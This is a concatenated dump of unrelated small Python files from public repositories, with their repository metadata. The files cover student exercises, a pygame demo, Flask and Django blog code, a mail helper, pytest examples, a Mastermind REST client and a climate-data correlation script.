null
null
null
UTF-8
Python
false
false
2,121
py
#coding=utf-8 #auther:microease studentInfos = [{'name': 'huyankai', 'sex': '男', 'phoneNumber': '15172332476'}] #有重复代码,需要完善 while True: print("*"*30) print("欢迎使用系统") print("1:添加新名字") print("2:删除一个名字") print("3:修改一个名字") print("4:查询一个名字") print("5:遍历所有的名字") print("0:退出系统") print("*"*30) key = input("请输入您想要的选项:") if key=="1": newName = input("请输入新学生的名字:") newSex = input("请输入新学生的性别:") newPhoneNumber = input("请输入新学生的电话:") newStudentInfos ={} newStudentInfos['name'] =newName newStudentInfos['sex'] =newSex newStudentInfos['phoneNumber'] =newPhoneNumber studentInfos.append(newStudentInfos) print(studentInfos) elif key=="2": shanchu = input("请输入您要删除的名字:") #需要增加个新功能,判断用户输入的在不在列表里面,不在 报错 name.remove('%s'%shanchu) print(name) elif key=="3": print(studentInfos) studentID = int(input("请输入您要修改的学生序号:")) #此处加int是因为下面发生计算,所以类型不能为字符,必须为数字 newName = input("请输入新学生的名字:") newSex = input("请输入新学生的性别:") newPhoneNumber = input("请输入新学生的电话:") studentInfos[studentID-1]['name'] = newName studentInfos[studentID-1]['sex'] = newSex studentInfos[studentID-1]['PhoneNumber'] = newPhoneNumber #此处id减去1是因为下标从0开始,而序号从1开始 print(studentInfos) elif key=="4": chaxun = input("请输入您想查询的名字:") chaxunjieguo = name.count('%s'%chaxun) print(chaxunjieguo) #此处待完善 elif key=="5": print("*"*30) print("学生的信息如下:") print("序号 姓名 性别 电话") i = 1 for tempInfo in studentInfos: print("%d %s %s %s"%(i,tempInfo['name'],tempInfo['sex'],tempInfo['phoneNumber'])) print("*"*30) i+=1 elif key=="0": break else: print("非法输入,请重新输入!")
6b4e456993f5eb90edbdc3cd147ba4c582e13b8a
04334d205b3f7f8be1c01330fe687aa5dc56f0ed
/PI Terceiro Semestre/DownFall/PI_TS/Teste.py
92849181b778933630b6a2f9a4f29beddfeee265
[]
no_license
Tompisom/Jogo_Em_Pygame_DownFall
961cdf29da6b29c5cfd32d1c5791beea4afa41e6
cc4a4720411000fb9621eb8b30eedd8bcdec3fb6
refs/heads/main
2023-04-02T12:28:22.583534
2021-04-03T01:51:30
2021-04-03T01:51:30
354,175,577
0
0
null
null
null
null
UTF-8
Python
false
false
926
py
from pygame import * DONE = False screen = display.set_mode((1024,768)) alphaSurface = Surface((1024,768)) # The custom-surface of the size of the screen. alphaSurface.fill((255,252,255)) # Fill it with whole white before the main-loop. alphaSurface.set_alpha(0) # Set alpha to 0 before the main-loop. alph = 0 # The increment-variable. while not DONE: screen.fill((0,0,0)) # At each main-loop fill the whole screen with black. alph += 1 # Increment alpha by a really small value (To make it slower, try 0.01) alphaSurface.set_alpha(alph) # Set the incremented alpha-value to the custom surface. screen.blit(alphaSurface,(0,0)) # Blit it to the screen-surface (Make them separate) # Trivial pygame stuff. if key.get_pressed()[K_ESCAPE]: DONE = True for ev in event.get(): if ev.type == QUIT: DONE = True display.flip() # Flip the whole screen at each frame. quit()
6214e02d35be221e2ed36877d500284ba9c67da6
1cb5abf0814b028b3ac996d39033a74dbf85753b
/studying_codes/q_num_10869.py
d9ec0b359b575ca0307a52cc63f317b6b1a1c784
[]
no_license
kimsehwan96/studying_python
fd7310204a75b94d95497f1ddb3ad39763340fde
5b22926230f936abbddccb10401d53d6e1bb9934
refs/heads/master
2023-02-09T07:27:39.999164
2021-01-02T09:18:13
2021-01-02T09:18:13
242,378,529
1
0
null
2020-04-22T15:10:14
2020-02-22T17:02:02
Python
UTF-8
Python
false
false
67
py
a=10 b=2 print(a+b) print(a-b) print(a*b) print(a//b) print(a%b)
1ec4b2f8dfcb45efeddce4d44ed128337ab1d161
787d3a06e4e18de391f0bfd338e4e9a1c47e5f0b
/modules_in_python/package_runoob/runoob1.py
8c07acf46c7c1362feca6e2411e033e2d2be209a
[]
no_license
HASAYAKEWOLF/LearnPython_basics
785191d4c3d7749eb83e0b381e4d71ef07f243e1
0da5517b8a777c519cf4c3fe57a481a47179dbf9
refs/heads/master
2020-05-04T20:48:54.277119
2019-04-04T09:24:56
2019-04-04T09:24:56
179,452,169
0
0
null
null
null
null
UTF-8
Python
false
false
54
py
#coding=utf-8 def runoob1(): print("Im in runoob1")
b3a29ae6790bca79783af6a8bbd6db96efce5be0
380815565e174f59b0266c61f93e751fae0c98f7
/sbs_main.py
2a5f02152dcaa6d8e4f333eaf713aa061582d65d
[]
no_license
jackieisback/sbs
5071c27acedf86b97e0e1363caa75d1ac6033c77
748ad76241bc337cb4427d71b64fea6b7dcb402a
refs/heads/master
2022-07-10T21:03:22.084789
2022-06-30T22:04:28
2022-06-30T22:04:28
91,009,079
0
0
null
null
null
null
UTF-8
Python
false
false
3,884
py
import os import datetime # parts that need to be adapted snapshot_dir = r"C:\Users\XXX\Pictures" path_to_irfanview = r'"C:\Program Files (x86)\IrfanView\i_view32.exe" ' # global variables img_ctr = 0 currentnumber = 1 def getFilesInDir(dir): # get all files in directory files_in_folder = [f for f in os.listdir(dir) if os.path.isfile(os.path.join(dir, f))] # return only files with .png ending return [i for i in files_in_folder if i.endswith(".png")] def moveAndConvertImages(): global snapshot_dir global path_to_irfanview global img_ctr once = 1 # get the path to the current file path_to_sb_txt = notepad.getCurrentFilename() # pic directory pic_dir = os.path.normpath(os.path.join(path_to_sb_txt,'../')) + "\\pic" # get creation date of file cr_t = os.path.getctime(path_to_sb_txt) # get all .png files in snapshout folder rel_files = getFilesInDir(snapshot_dir) img_ctr = 1 for idx, file in enumerate(rel_files): # get full path to file fullpath = snapshot_dir + "\\" + file # find files which are created after the sb.txt creation date if os.path.getctime(fullpath) > cr_t: if once == 1: # calculate how many zeros before the number in the converted files are needed zeros = len(str(len(rel_files)-idx)) # this needs only to be done once once = 0 # add "" to filestring filestring = "\"" + fullpath + "\"" # how many zeros are needed before number num_zeros = zeros - len(str(img_ctr)) name = "img-" + num_zeros * "0" + str(img_ctr) + ".jpg" # built command string # commandstring = path_to_irfanview + filestring + r' /resize_long=350 /aspectratio /convert=D:\test\irfan\pic' + "\\" + name + "\"" commandstring = path_to_irfanview + filestring + r' /resize_long=350 /aspectratio /convert=' + pic_dir + "\\" + name + "\"" console.run(commandstring) img_ctr += 1 # decrease image counter at end of function, since it was increased by one but this value was never used img_ctr -= 1 # create the image string def builtImageString(name, currentnumber, endnumber, ending): zeros = '' # get the length of numbers length_number = len(str(currentnumber)) length_endnumber = len(str(endnumber)) # calculate the difference diff = length_endnumber-length_number # calculate the number of zeros while diff > 0: zeros += '0' diff -= 1 return '[' + name + '-' + zeros + str(currentnumber) + ending + ']' # build image string and replaces it with the current line def addimagestring(number, lineNumber): global currentnumber global img_ctr name = "img" complete_string = "" for idx in range(0, number): # built image string image_string = builtImageString(name, currentnumber, img_ctr, '.jpg') # append to complete string complete_string = complete_string + image_string # increase index currentnumber += 1 # instert text at current position #editor.addText(image_string) editor.replaceLine(lineNumber, complete_string) def editContent(contents, lineNumber, totalLines): if "Min." in contents: editor.replaceLine(lineNumber, "<b>" + contents.rstrip("\r\n") + "</b>") #addtimes(contents) TODO return 1 elif "Sek." in contents: editor.replaceLine(lineNumber, "<b>" + contents.rstrip("\r\n") + "</b>") #addtimes(contents) TODO return 1 elif "][" in contents: editor.replaceLine(lineNumber, "<b>" + contents.rstrip("\r\n") + "</b>") elif "#" in contents: addimagestring(int(contents[1:]), lineNumber) # move and convert images from image folder to pic folder moveAndConvertImages() # loop over every line # - do the conversion # - replace special image tags (#3) with image editor.forEachLine(editContent)
cb553ec88832a8659ce6b8ad7e9f25c1bc832d71
786c2ddea1f1984966a38c69dd7636761e44f202
/main/views.py
eae0d8125d06f951349f1ef87c963c966cd12746
[]
no_license
Aliz-f/Article_Blog-Flask
780a710aa2d0390cedfc87bf1b923bde4b0b8fce
f9166afdf37b8b3414f95154e2160cf48d13f9fb
refs/heads/master
2023-01-21T19:04:54.189038
2020-10-12T06:29:35
2020-10-12T06:29:35
318,038,793
0
0
null
null
null
null
UTF-8
Python
false
false
462
py
from flask import Blueprint , request , render_template from application.models import Post main = Blueprint('main',__name__) @main.route("/") @main.route("/home") def home(): page = request.args.get('page' , 1 , type = int) posts = Post.query.order_by(Post.data_posted.desc()).paginate(page = page , per_page = 5) return render_template('home.html' , posts = posts) @main.route("/about") def about(): return render_template('about.html')
feef9f15a91cd8f5a8ed1f5fc89fbea6a3b442ed
ffee95413e4ecaada18c1b2cc93c4cf1ade05a2a
/fibbonaci_with_recursion.py
375408ee5f64451416adf520f59230e29e65ee33
[ "Unlicense" ]
permissive
animeshs34/Python
47377f2372a9e5a3f6c5ca5142bc19095e15ba19
9fbd1069dc5b146b14b1e946ca890442d665c90f
refs/heads/master
2021-03-24T01:59:07.057890
2020-04-20T07:05:23
2020-04-20T07:05:23
247,505,486
0
0
null
null
null
null
UTF-8
Python
false
false
95
py
fibbonaci = lambda n: n if n in (0,1) else fibbonaci(n-1) + fibbonaci(n-2) print(fibbonaci(11))
4a3e8779713bfeb72638e675ab6d51eb3b5ce340
3ec436d4074d14c623d5a7df0e3be7e85a32d739
/problem13.py
7e0903071b6187b9050921a9928caeb4b074fd5b
[]
no_license
spunos/project_euler
43f2587db853fd010b41a6ce2fdad05dcb8d049a
6c7b371dc64892a7a3b747c26c4145a314b36140
refs/heads/master
2020-11-30T16:23:08.461155
2019-12-28T07:20:22
2019-12-28T07:20:22
230,439,692
0
0
null
null
null
null
UTF-8
Python
false
false
5,465
py
# Work out the first ten digits of the sum of the following one-hundred 50-digit numbers. import io sumString = """ 37107287533902102798797998220837590246510135740250 46376937677490009712648124896970078050417018260538 74324986199524741059474233309513058123726617309629 91942213363574161572522430563301811072406154908250 23067588207539346171171980310421047513778063246676 89261670696623633820136378418383684178734361726757 28112879812849979408065481931592621691275889832738 44274228917432520321923589422876796487670272189318 47451445736001306439091167216856844588711603153276 70386486105843025439939619828917593665686757934951 62176457141856560629502157223196586755079324193331 64906352462741904929101432445813822663347944758178 92575867718337217661963751590579239728245598838407 58203565325359399008402633568948830189458628227828 80181199384826282014278194139940567587151170094390 35398664372827112653829987240784473053190104293586 86515506006295864861532075273371959191420517255829 71693888707715466499115593487603532921714970056938 54370070576826684624621495650076471787294438377604 53282654108756828443191190634694037855217779295145 36123272525000296071075082563815656710885258350721 45876576172410976447339110607218265236877223636045 17423706905851860660448207621209813287860733969412 81142660418086830619328460811191061556940512689692 51934325451728388641918047049293215058642563049483 62467221648435076201727918039944693004732956340691 15732444386908125794514089057706229429197107928209 55037687525678773091862540744969844508330393682126 18336384825330154686196124348767681297534375946515 80386287592878490201521685554828717201219257766954 78182833757993103614740356856449095527097864797581 16726320100436897842553539920931837441497806860984 48403098129077791799088218795327364475675590848030 87086987551392711854517078544161852424320693150332 59959406895756536782107074926966537676326235447210 69793950679652694742597709739166693763042633987085 41052684708299085211399427365734116182760315001271 65378607361501080857009149939512557028198746004375 35829035317434717326932123578154982629742552737307 94953759765105305946966067683156574377167401875275 88902802571733229619176668713819931811048770190271 25267680276078003013678680992525463401061632866526 36270218540497705585629946580636237993140746255962 24074486908231174977792365466257246923322810917141 91430288197103288597806669760892938638285025333403 34413065578016127815921815005561868836468420090470 23053081172816430487623791969842487255036638784583 11487696932154902810424020138335124462181441773470 63783299490636259666498587618221225225512486764533 67720186971698544312419572409913959008952310058822 95548255300263520781532296796249481641953868218774 76085327132285723110424803456124867697064507995236 37774242535411291684276865538926205024910326572967 23701913275725675285653248258265463092207058596522 29798860272258331913126375147341994889534765745501 18495701454879288984856827726077713721403798879715 38298203783031473527721580348144513491373226651381 34829543829199918180278916522431027392251122869539 40957953066405232632538044100059654939159879593635 29746152185502371307642255121183693803580388584903 41698116222072977186158236678424689157993532961922 62467957194401269043877107275048102390895523597457 23189706772547915061505504953922979530901129967519 86188088225875314529584099251203829009407770775672 11306739708304724483816533873502340845647058077308 82959174767140363198008187129011875491310547126581 97623331044818386269515456334926366572897563400500 42846280183517070527831839425882145521227251250327 55121603546981200581762165212827652751691296897789 32238195734329339946437501907836945765883352399886 75506164965184775180738168837861091527357929701337 62177842752192623401942399639168044983993173312731 32924185707147349566916674687634660915035914677504 99518671430235219628894890102423325116913619626622 73267460800591547471830798392868535206946944540724 76841822524674417161514036427982273348055556214818 97142617910342598647204516893989422179826088076852 87783646182799346313767754307809363333018982642090 10848802521674670883215120185883543223812876952786 71329612474782464538636993009049310363619763878039 62184073572399794223406235393808339651327408011116 66627891981488087797941876876144230030984490851411 60661826293682836764744779239180335110989069790714 85786944089552990653640447425576083659976645795096 66024396409905389607120198219976047599490197230297 64913982680032973156037120041377903785566085089252 16730939319872750275468906903707539413042652315011 94809377245048795150954100921645863754710598436791 78639167021187492431995700641917969777599028300699 15368713711936614952811305876380278410754449733078 40789923115535562561142322423255033685442488917353 44889911501440648020369068063960672322193204149535 41503128880339536053299340368006977710650566631954 81234880673210146739058568557934581403627822703280 82616570773948327592232845941706525094512325230608 22918802058777319719839450180888072429661980811197 77158542502016545090413245809786882778948721859617 72107838435069186155435662884062257473692284509516 20849603980134001723930671666823555245252804609722 53503534226472524250874054075591789781264330331690 """ numbers = list(map(int, sumString.split())) total = 0 for i in range(len(numbers)): total += numbers[i] print(total)
13966704c3948b4cb8122f17dc5811ee39671e5b
f21d4b75f98fc85b1e0e80cf0254bd777ce95e1a
/common/mail_helper.py
75b38822d771710a05ce7cd8eef3c68d900038c6
[ "Apache-2.0" ]
permissive
wuxh123/my_bottle
9c75a54354043cca8cc4c851173e1301bfe7e172
06cd7cda43b5d7db7522f76e65631510dada1329
refs/heads/master
2020-04-18T22:57:27.989442
2019-06-09T03:31:48
2019-06-09T03:31:48
167,808,940
3
0
null
null
null
null
UTF-8
Python
false
false
1,465
py
#!/usr/bin/env python # coding=utf-8 import smtplib from email.mime.text import MIMEText from traceback import format_exc from config import const # 初始化邮件参数 smtp = const.SMTP port = const.PORT user = const.EMAIL_USER passwd = const.EMAIL_PWD email_list = const.EMAIL_LIST err_title = const.EMAIL_ERR_TITLE def send_mail(subject, context, to_list): ''' 发送邮件 接收参数: subject 邮件主题 context 邮件内容 to_list 接收者邮件列表,每个邮件地址用","分隔 ''' if not subject or not context or not to_list: return '邮件发送失败,邮件主题、内容与收件人邮件都是必填项' # 初始始化邮件相关参数 email = MIMEText(context, 'html', 'utf-8') email['To'] = to_list email['Subject'] = subject email['From'] = user # QQ邮箱改为ssl方式发送了 # s = smtplib.SMTP(smtp) s = smtplib.SMTP_SSL(smtp) try: s.login(user, passwd) s.sendmail(user, email_list, email.as_string()) s.close() return None except Exception as e: s.close() stacktrace = format_exc() return '邮件发送失败,出现异常:' + str(e.args) + stacktrace + '\n' def send_error_mail(context): ''' 发送邮件 接收参数: context 邮件内容 ''' if not context: return '邮件内容是必填项' send_mail(err_title, context, email_list)
d1d0bab91d860a5550495172c5f1ac2902c77590
9a72c6a6a415042d0fd153a9aa865343b1a76be2
/tests/test_assert.py
f5f2815d12968fab0e52e5be56b9a54e6e6ee1c6
[ "MIT" ]
permissive
PhamTDuc/HelloPackage
045291043cb3fc9c3137a2e63e1d6468e15270ea
78b8fa00f932ba97f8afdf639ac4a66234e196dd
refs/heads/master
2022-12-27T19:28:37.720507
2020-10-13T03:15:20
2020-10-13T03:15:20
300,340,971
0
0
null
null
null
null
UTF-8
Python
false
false
546
py
import pytest @pytest.mark.group2 def test_method0(): x, y = 5, 6 assert x + 1 == y, "Test Addition, assertion failed" assert x == y, "Assertion failed" @pytest.mark.group1 def test_method1(): x, y = 5, 6 assert x + 1 == y, "Test test_method1 failed" @pytest.mark.group2 def test_methods2(): x, y = 5, 6 assert x + 1 == y, "Test Addition, assertion failed" assert x == y, "Assertion failed" @pytest.mark.xfail def test_methods3(): x, y = 5, 7 assert x + 1 == y, "Test test_method1 failed" import
f1098d9eecc4aa3d5181079d7232abd069dba6e1
f3882add3c8755dca66a7fa62e4cc6d730c49b47
/starter-clients/mastermind.py
89d413bbc1f3cc00ce1eaad9639627acd7bc79b3
[]
no_license
perhammer/restgames
44c960ae96df4f978b571a82e4c7cfc1a55689a0
dcd67d05d316a2e74fb439fc756e0a1cb4e13f33
refs/heads/main
2021-06-18T12:14:13.257781
2019-01-18T22:18:41
2019-01-18T22:18:41
164,393,309
0
1
null
null
null
null
UTF-8
Python
false
false
1,654
py
#!/bin/python from restgameclient import RestGameClient class MastermindApi(object): def __init__(self): self.API_KEY_GUESS = "guess" self.API_KEY_HINT = "hint" self.API_KEY_CORRECT_COLOUR = "CORRECT_COLOUR" self.API_KEY_CORRECT_COLOUR_AND_LOCATION = "CORRECT_COLOUR_AND_LOCATION" class MastermindGame(RestGameClient, MastermindApi): def __init__(self, hostname, port="80"): super().__init__(hostname, port, gameName="mastermind") MastermindApi.__init__(self) self.correctColours = 0 self.correctLocations = 0 def makeMove(self, guess): if self.API_KEY_GUESS in self.links: jData = self.makeRequestAndParseResponse(self.links[self.API_KEY_GUESS]+guess) self.correctColours = 0 self.correctLocations = 0 for hint in jData[self.API_KEY_HINT]: if str(hint)==self.API_KEY_CORRECT_COLOUR: self.correctColours+=1 elif str(hint)==self.API_KEY_CORRECT_COLOUR_AND_LOCATION: self.correctLocations+=1 else: raise RuntimeError("API doesn't allow guesses at this point.") def guess(self, guess): print("Guessing: ["+guess+"]") self.makeMove(guess) print("Correct colours: "+str(self.correctColours)) print("Correct locations: "+str(self.correctLocations)) if self.correctLocations==4: print("You guessed the correct combination!") mmind = MastermindGame("joshua-env.sj5nm3sr7a.us-east-2.elasticbeanstalk.com") mmind.register("username", "password", "I'm the first user") mmind.login("username", "password") mmind.startNewGame() # mmind.rejoinGame("755494111") # Colours are: Blue, Green, Yellow, Pink, Orange, Red mmind.guess("bgpy")
693a32dcb095678fa3854e938d743b3bfbf9e547
afa801642f56d1523bb881366640ca8fcb525eeb
/main/pre-stage/old_vv_precip/vv_500hpa.precip.MONTHLY.py
6702d0d4f40736382e97748844b5005d5efa171f
[]
no_license
cycle13/Machine-Learning-Climate-Parameterization
f8123df4f13c27c77bc3c7a8f6566d0b8ea0e4d9
14b7aa2856c7ab0ff884658a9af8c7a9b7e48a2e
refs/heads/master
2021-10-23T11:18:15.773174
2019-03-17T02:25:56
2019-03-17T02:25:56
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,187
py
import time # MATLAB like tic toc def TicTocGenerator(): ti = 0 tf = time.time() while True: ti = tf tf = time.time() yield tf-ti TicToc = TicTocGenerator() # create an instance of the TicTocGen generator def toc(tempBool=True): tempTimeInterval = next(TicToc) if tempBool: print( "Elapsed time: %f seconds.\n" %tempTimeInterval ) def tic(): toc(False) tic() import numpy as np import matplotlib.pyplot as plt import xarray as xr toc() def sum_in_year_month(DA): # Index of Year-Month starts at Jan 1991 month_cnt_1991 = (DA.time.dt.year.to_index() - 1991) * 12 + DA.time.dt.month.to_index() # Assign newly defined Year-Month to coordinates, then group by it, then take the SUM return DA.assign_coords(year_month = month_cnt_1991).groupby('year_month').sum() def mean_in_year_month(DA): month_cnt_1991 = (DA.time.dt.year.to_index() - 1991) * 12 + DA.time.dt.month.to_index() return DA.assign_coords(year_month = month_cnt_1991).groupby('year_month').mean() # Import Vertical Velocity from 500hPa data from ERA Interim file = 'data/vv_500hpa.nc' DS = xr.open_dataset(file).chunk() # Convert it to dask array vv = DS.w.dropna(dim='time') vv_monthly = mean_in_year_month(vv) toc() # Import Precipitation data from ARM mf = '../ARM-PNG/data/twparmbeatmC1.c1.*.000000.cdf' DS2 = xr.open_mfdataset(mf) precip = DS2.prec_sfc.dropna(dim='time') precip_monthly = sum_in_year_month(precip) toc() # Merge them to drop missing data DS_monthly = xr.merge([vv_monthly,precip_monthly]).dropna(dim='year_month') x = DS_monthly.prec_sfc.values y = DS_monthly.w.values x_norm = x-x.mean() y_norm = y-y.mean() cc = np.correlate(x_norm,y_norm,'full') cc = cc / max(abs(cc)) lag = range(-len(x)+1,len(x)) toc() plt.figure() plt.plot(lag,cc) plt.xlabel('Lag (month)') plt.ylabel('Normalized Cross-correlation') plt.title('Correlation between Precipitation and Vertical Velocity') plt.savefig('fig/cc.eps') plt.figure() plt.scatter(x,y) plt.xlabel('Monthly Precipitation (mm)') plt.ylabel('Monthly Average Vertical Velocity (Pa/s)') plt.title('Monthly Average in Manus, PNG') plt.savefig('fig/vv_500hpa.precip.eps') toc()
5560afd912e7c6ce9beae0493182d18d9b3142f9
bc75839ec7246077d078036b2c762fa47ff84bf2
/profiles_project/settings.py
6dc29f5b4f79be0bddf63e7dde6d2a6ef11bde58
[ "MIT" ]
permissive
Vinutha2905/Python_RestAPI
ac0b20f452fad4a50f6588f2327283457171ce1d
4c185d37d32c3b5f00154f4be1b4ad0d2fab6d66
refs/heads/master
2023-05-10T15:44:42.335734
2021-06-13T11:23:04
2021-06-13T11:23:04
363,667,996
0
0
null
null
null
null
UTF-8
Python
false
false
3,235
py
""" Django settings for profiles_project project. Generated by 'django-admin startproject' using Django 2.2. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'xcu_8s%$hb-8d3kvegjjh*eu(jg7g$vi=#7jz8$$c9wxb#s^0q' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'rest_framework.authtoken', 'profiles_api', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'profiles_project.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'profiles_project.wsgi.application' # Database # https://docs.djangoproject.com/en/2.2/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.2/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.2/howto/static-files/ STATIC_URL = '/static/' AUTH_USER_MODEL='profiles_api.UserProfile'
fcb284a99281a279a481627d23e4abd3ad8b3669
e1c22a4181175e66f77e36fdff549c16fea4aec5
/main.py
475ea1ee35d589c454ebb2312baf01468cf0f911
[ "MIT" ]
permissive
jarrey68/RiseMixedSetMaker
98febee6f85c71569488f8e82d721b20bdd30b9c
fb43ae558dad7a82dc6c259efbd24fd8d5084145
refs/heads/main
2023-06-05T12:20:00.951503
2021-06-18T16:18:31
2021-06-18T16:18:31
377,930,597
0
0
null
null
null
null
UTF-8
Python
false
false
1,522
py
from Database import Database from ArmourPiece import ArmourPiece from ArmourSet import ArmourSet from Window import Window def get_armour_pieces(): file = open("ArmourPieces.csv", "r") raw_armour_pieces = file.read() file.close() armour_pieces_list = raw_armour_pieces.split("\n") armour_pieces_list.pop(0) for i in range(len(armour_pieces_list)): armour_pieces_list[i] = armour_pieces_list[i].split(",") armour_pieces_list[i] = ArmourPiece(armour_pieces_list[i][1], armour_pieces_list[i][10::], armour_pieces_list[i][9].split("-"), int(armour_pieces_list[i][3]), armour_pieces_list[i][0]) return armour_pieces_list def get_charms(): file = open("Charms.csv", "r") raw_charms = file.read() file.close() charms_list = raw_charms.split("\n") charms_list.pop(0) for i in range(len(charms_list)): charms_list[i] = charms_list[i].split(",") charms_list[i] = ArmourPiece("Charm", charms_list[i][2::], charms_list[i][1].split("-"), 0, "") return charms_list def get_skills_slots(): file = open("SkillsSlots.csv", "r") raw_skills_slots = file.read() file.close() skills_slots_list = raw_skills_slots.split("\n") for i in range(len(skills_slots_list)): skills_slots_list[i] = skills_slots_list[i].split(",") return skills_slots_list def main(): main_database = Database(get_armour_pieces(), get_skills_slots(), get_charms()) window = Window(main_database) window.root.mainloop() main()
f208d429bfba2ae629959799268cef80221153a0
e95d6f6842e7d32a2933676e12d73cbe8cf9d7d4
/TensorFlow_Tutorials/10.Time Series.py
19f6c6a7a10ed6985ccbe6e95cd49d456dfc9c5e
[]
no_license
MehreenTariq12/mehru
87acda07c564f37107aa8a3e2da247216c734d35
af5da763197696394dfe751d2c54e3caab7d3f62
refs/heads/master
2022-06-24T03:59:54.542892
2020-05-10T06:03:05
2020-05-10T06:03:05
256,930,770
0
0
null
null
null
null
UTF-8
Python
false
false
2,365
py
import numpy as np import matplotlib.pyplot as plt def plot_series(time, series, format = "-", start = 0, end = None, label= None): plt.plot(time[start:end], series[start:end], format, label = label) plt.xlabel = ("Time") plt.ylabel = ("Value") if label: plt.legend(fontsize = 14) plt.grid(True) def trend(time, slope = 0): return slope*time time = np.arange(4 * 365 + 1) baseline = 10 series = baseline + trend(time, 0.1) plt.figure(figsize = (10, 6)) plot_series(time, series) plt.show() def seasonal_pattern(season_time): return np.where(season_time < 0.4, np.cos(season_time * 2 *np.pi), 1/np.exp(3 *season_time)) def seasonality(time, period, amplitude = 1, phase = 0): season_time = ((time +phase) % period) / period return amplitude * seasonal_pattern(season_time) amplitude = 40 series = seasonality(time, period=365, amplitude= amplitude) plt.figure(figsize = (10, 6)) plot_series(time, series) plt.show() slope = 0.05 series = baseline +trend(time, slope) + seasonality(time, period = 365, amplitude = amplitude ) plt.figure(figsize = (10, 6)) plot_series(time, series) plt.show() def white_noise(time, noise_level = 1, seed = None): rnd = np.random.RandomState(seed) return rnd.randn(len(time)) * noise_level noise_level = 5 noise = white_noise(time, noise_level, seed = 42) plt.figure(figsize = (10, 6)) plot_series(time, noise) plt.show() series += noise plt.figure(figsize=(10, 6)) plot_series(time, series) plt.show() split_time = 1000 time_train = time[:split_time] x_train = series[:split_time] time_valid = time[split_time:] x_valid = series[split_time:] #we want to forecast just on validation period naive_forecast = series[split_time-1:-1] # copythe value of previouse day plt.figure(figsize = (10, 6)) plot_series(time_valid, x_valid, label = "Series") plot_series(time_valid, naive_forecast, label = "forecast") plt.show() plt.figure(figsize = (10, 6)) plot_series(time_valid, x_valid, start = 0, end = 150, label = "series") plot_series(time_valid, naive_forecast, start = 1, end = 151, label = "forecast") plt.show() errors = naive_forecast -x_valid abs_errors = np.abs(errors) #computing absolute of errors mae = abs_errors.mean() #computing mean of absolute errors print(mae)
173f1425fe257a93de27c5282d849a31123b39a0
58545843a052eb76170d2cb26bae81f293ea0555
/webapp2_caffeine/test_case.py
94988d8317d7c3af0decdd2e89dc8fef9e343efd
[ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
gvigneron/webapp2_caffeine
1fd047691d8b861149531f1efbfa1d3fdf653b9e
1c920e77b48555886dff5206cc5e83179f23c8f1
refs/heads/master
2020-03-19T02:36:15.867222
2018-05-31T23:11:31
2018-05-31T23:11:31
135,643,505
0
0
null
null
null
null
UTF-8
Python
false
false
8,527
py
# -*- coding: utf-8 -*- """Extensions for unittest.TestCase.""" import os import warnings from google.appengine.api import apiproxy_stub from google.appengine.api import namespace_manager from google.appengine.datastore import datastore_stub_util from google.appengine.ext import ndb from google.appengine.ext import testbed import webapp2 import webtest try: from appengine_config import wsgi_config except ImportError: wsgi_config = {'webapp2_extras.auth': {'user_model': 'webapp2_extras.appengine.auth.models.User', 'token_max_age': 3600, 'user_attributes': ['auth_ids']}, 'webapp2_extras.sessions': {'secret_key': '1234567890', 'cookie_name': '_session', 'session_max_age': 3600, 'cookie_args': {'max_age': 3600}}} class FetchServiceStub(apiproxy_stub.APIProxyStub): def __init__(self, service_name='urlfetch'): super(FetchServiceStub, self).__init__(service_name) def set_return_values(self, **kwargs): self.return_values = kwargs def _Dynamic_Fetch(self, request, response): rv = self.return_values response.set_content(rv.get('content', '')) response.set_statuscode(rv.get('status_code', 500)) for header_key, header_value in rv.get('headers', {}): new_header = response.add_header() # prototype for a header new_header.set_key(header_key) new_header.set_value(header_value) response.set_finalurl(rv.get('final_url', request.url)) response.set_contentwastruncated( rv.get('content_was_truncated', False)) # allow to query the object after it is used self.request = request self.response = response class BaseTestCase(object): """Test case with GAE testbed stubs activated. Example : class MyTest(BaseTestCase, unittest.TestCase): """ application = webapp2.WSGIApplication([], config=wsgi_config, debug=True) def setUp(self): """Activate GAE testbed.""" # Show warnings. warnings.simplefilter('default') # Clear thread-local variables. self.clear_globals() # Get current and root path. start = os.path.dirname(__file__) self.rel_root_path = os.path.join(start, '../../../') self.abs_root_path = 